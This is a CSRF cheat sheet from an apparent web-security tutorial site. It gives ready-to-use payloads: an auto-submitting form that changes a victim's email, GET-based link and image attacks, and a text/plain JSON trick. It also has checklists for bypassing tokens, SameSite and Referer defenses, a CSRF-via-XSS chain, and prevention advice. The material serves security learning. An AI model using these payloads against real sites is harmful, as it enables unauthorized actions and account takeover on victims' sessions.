Cross-Site Request Forgery (CSRF): The Complete Practical Guide
CSRF Cheat Sheet
A dense, copy-pasteable CSRF reference: auto-submit and GET PoCs, the text/plain JSON trick, token-bypass checklist, SameSite and Referer bypasses, prevention.
Published
Every CSRF payload and bypass in one place. The core move never changes: make a logged-in victim's browser send a state-changing request it never intended, using the cookies it attaches automatically. For the how and why behind each section, start at the CSRF guide. Lock it in on a free live target.
Auto-submitting form PoC (the workhorse)
<html>
<body onload="document.forms[0].submit()">
<form action="https://target.example/account/email" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="csrf" value=""> <!-- include only if the token is optional -->
</form>
</body>
</html>Victim opens the page while logged in, the form posts with their cookies, no interaction. See bypassing token validation.
GET-based CSRF (no form needed)
<!-- top-level navigation: a SameSite=Lax session cookie IS sent on this -->
<a href="https://target.example/account/delete?id=42">Claim your prize</a>
<!-- background subresource GET: carries the cookie only if SameSite=None
(or there is no SameSite defense); a Lax cookie is NOT sent here -->
<img src="https://target.example/account/[email protected]">Reachable-by-GET state change. The top-level link navigation carries a SameSite=Lax cookie; the background
imgGET needsSameSite=Noneor no SameSite defense. See bypassing SameSite restrictions.
JSON endpoint via text/plain
<!-- browser sends Content-Type: text/plain; lands only if the server parses it as JSON -->
<form action="https://target.example/api/profile" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>text/plain joins name and value with
=, so the body reassembles to{"email":"[email protected]","ignore":"="}. Only works if the server accepts text/plain and does not require a preflight-triggering content-type.
CSRF token bypass checklist
[ ] Remove the token parameter entirely (present-but-not-validated)
[ ] Send an empty token value (validated only when present)
[ ] Reuse a valid token from ANOTHER account (token not bound to session)
[ ] Flip POST -> GET, or add _method=POST (method-scoped validation)
[ ] Submit the token via query string vs body (server reads params loosely)
[ ] Set the token cookie yourself, echo it in body (naive double-submit, no binding)
[ ] Use a stale / predictable / reflected token (weak generation)SameSite bypass checklist
Strict: cookie never sent cross-site (incl. top-level) - hardest
Lax: turn the action into a top-level GET navigation (allowed under Lax)
default: ~2-min fresh-cookie POST window for cookies with NO explicit SameSite
(does NOT apply to cookies that set SameSite=Lax; Chrome plans to remove it)
any: sister-domain request (same registrable domain counts as same-site)
any: client-side open redirect on the target re-issues the request same-site
None: no protection at all - plain CSRF if there is no token (None requires Secure)Referer-defense bypass
Strip it: <meta name="referrer" content="no-referrer">
Strip it: Referrer-Policy: no-referrer (served from the attacker page)
Downgrade: https -> http navigation drops Referer on some policies
Fool prefix: https://target.example.evil.example/ (host is evil.example)
Fool substr: https://evil.example/?x=https://target.example/ (query variant needs Referrer-Policy: unsafe-url; the default policy strips the query)
Empty-pass: if "no Referer" is treated as allowed, just suppress itWhen the token is solid: CSRF via XSS
1. Get script execution in the app's origin (XSS).
2. Fetch the form page in the victim's session, parse the CSRF token out of the DOM.
3. POST the state-changing request with the scraped token + the victim's cookies.XSS reads the token from inside the origin, so every CSRF defense is bypassed. See CSRF via XSS.
Prevention
- Session-bound, unpredictable CSRF token, verified on every state-changing request regardless of method, rejected when missing or empty.
SameSite=Laxset explicitly (Strict for the most sensitive apps) as a baseline alongside the token, never alone.- Double-submit only if signed and tightly scoped. Prefer a server-side synchronizer token.
Origincheck (Referer as fallback) on sensitive endpoints, defense-in-depth, fail closed.- Re-authenticate for the most sensitive actions (password, email, MFA reset).
- GET never mutates state, which removes the easiest CSRF outright.
Full detail in preventing CSRF.
← Back to Cross-Site Request Forgery (CSRF): The Complete Practical Guide